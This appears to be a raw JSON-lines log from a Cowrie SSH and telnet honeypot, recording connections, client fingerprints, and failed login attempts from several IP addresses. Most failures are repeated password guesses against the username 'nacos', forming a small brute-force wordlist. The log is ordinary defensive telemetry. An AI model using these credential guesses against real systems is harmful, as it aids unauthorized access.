{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:22.000789Z","src_ip":"36.253.9.69","session":"de4d29843b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46056,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7312078c14","protocol":"telnet","message":"New connection: 45.81.23.16:46056 (10.17.0.5:23) [session: ca7312078c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:22.852432Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46064,"dst_ip":"10.17.0.5","dst_port":23,"session":"f280e3814d45","protocol":"telnet","message":"New connection: 45.81.23.16:46064 (10.17.0.5:23) [session: f280e3814d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:22.856706Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Password123!","message":"login attempt [nacos/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:23.032478Z","src_ip":"36.253.9.69","session":"de4d29843b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46080,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a29408ec8b9","protocol":"telnet","message":"New connection: 45.81.23.16:46080 (10.17.0.5:23) [session: 1a29408ec8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:23.693544Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48224,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a31c9ae850b","protocol":"telnet","message":"New connection: 38.60.198.128:48224 (159.203.135.109:23) [session: 7a31c9ae850b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:23.751327Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:24.273768Z","src_ip":"36.253.9.69","session":"de4d29843b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":42890,"dst_ip":"10.17.0.5","dst_port":22,"session":"46ecb854a55b","protocol":"ssh","message":"New connection: 36.253.9.69:42890 (10.17.0.5:22) [session: 46ecb854a55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:24.479817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:24.484545Z","src_ip":"36.253.9.69","session":"46ecb854a55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:24.708078Z","src_ip":"36.253.9.69","session":"46ecb854a55b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"000000","message":"login attempt [nacos/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:25.679894Z","src_ip":"36.253.9.69","session":"46ecb854a55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:26.907444Z","src_ip":"36.253.9.69","session":"46ecb854a55b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":44166,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf42308d8f00","protocol":"ssh","message":"New connection: 36.253.9.69:44166 (10.17.0.5:22) [session: bf42308d8f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:27.141478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:27.146049Z","src_ip":"36.253.9.69","session":"bf42308d8f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:27.380071Z","src_ip":"36.253.9.69","session":"bf42308d8f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"2wsx@WSX","message":"login attempt [nacos/2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:28.378188Z","src_ip":"36.253.9.69","session":"bf42308d8f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:29.612683Z","src_ip":"36.253.9.69","session":"bf42308d8f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":44182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8fd685b246e","protocol":"ssh","message":"New connection: 36.253.9.69:44182 (10.17.0.5:22) [session: b8fd685b246e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:29.848170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:29.853257Z","src_ip":"36.253.9.69","session":"b8fd685b246e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:30.092531Z","src_ip":"36.253.9.69","session":"b8fd685b246e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.06523299217224,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:30.209062Z","src_ip":"38.60.198.128","session":"21a38d6fed3b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"PMGS**56$wx*%*St","message":"login attempt [nacos/PMGS**56$wx*%*St] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:31.161653Z","src_ip":"36.253.9.69","session":"b8fd685b246e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58090,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d5e97de04a6","protocol":"telnet","message":"New connection: 38.60.198.128:58090 (159.203.135.109:23) [session: 5d5e97de04a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:31.869044Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:32.402969Z","src_ip":"36.253.9.69","session":"b8fd685b246e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":44190,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba93ac03dcc","protocol":"ssh","message":"New connection: 36.253.9.69:44190 (10.17.0.5:22) [session: 8ba93ac03dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:32.636495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:32.640613Z","src_ip":"36.253.9.69","session":"8ba93ac03dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:32.877379Z","src_ip":"36.253.9.69","session":"8ba93ac03dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Mtm$%889*G*S3%G","message":"login attempt [nacos/Mtm$%889*G*S3%G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:33.901219Z","src_ip":"36.253.9.69","session":"8ba93ac03dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":45526,"dst_ip":"159.203.135.109","dst_port":23,"session":"feadd6bf37b3","protocol":"telnet","message":"New connection: 192.211.53.160:45526 (159.203.135.109:23) [session: feadd6bf37b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:33.957335Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:35.142998Z","src_ip":"36.253.9.69","session":"8ba93ac03dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":44200,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3cbb308012","protocol":"ssh","message":"New connection: 36.253.9.69:44200 (10.17.0.5:22) [session: 3d3cbb308012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:35.380595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:35.385545Z","src_ip":"36.253.9.69","session":"3d3cbb308012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:35.624811Z","src_ip":"36.253.9.69","session":"3d3cbb308012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Aliyun@123","message":"login attempt [nacos/Aliyun@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:36.659052Z","src_ip":"36.253.9.69","session":"3d3cbb308012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.05548357963562,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:36.693083Z","src_ip":"38.60.198.128","session":"e0604491d993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.2166907787323,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:36.910105Z","src_ip":"45.81.23.16","session":"1a29408ec8b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":45944,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cbd704e615d","protocol":"ssh","message":"New connection: 198.98.56.205:45944 (159.203.135.109:22) [session: 8cbd704e615d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:37.811282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:37.816427Z","src_ip":"198.98.56.205","session":"8cbd704e615d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:37.822422Z","src_ip":"198.98.56.205","session":"8cbd704e615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1234qwer","message":"login attempt [ali/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:37.876138Z","src_ip":"198.98.56.205","session":"8cbd704e615d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:37.901312Z","src_ip":"36.253.9.69","session":"3d3cbb308012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":37526,"dst_ip":"10.17.0.5","dst_port":22,"session":"52bbe62c7f5c","protocol":"ssh","message":"New connection: 36.253.9.69:37526 (10.17.0.5:22) [session: 52bbe62c7f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:38.116377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:38.124293Z","src_ip":"36.253.9.69","session":"52bbe62c7f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:38.348487Z","src_ip":"36.253.9.69","session":"52bbe62c7f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:38.884889Z","src_ip":"198.98.56.205","session":"8cbd704e615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Aa123456@","message":"login attempt [nacos/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:39.304141Z","src_ip":"36.253.9.69","session":"52bbe62c7f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:40.528300Z","src_ip":"36.253.9.69","session":"52bbe62c7f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":37530,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d530cdf430","protocol":"ssh","message":"New connection: 36.253.9.69:37530 (10.17.0.5:22) [session: e2d530cdf430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:40.779317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:51:40.783564Z","src_ip":"36.253.9.69","session":"e2d530cdf430","protocol":"ssh"}
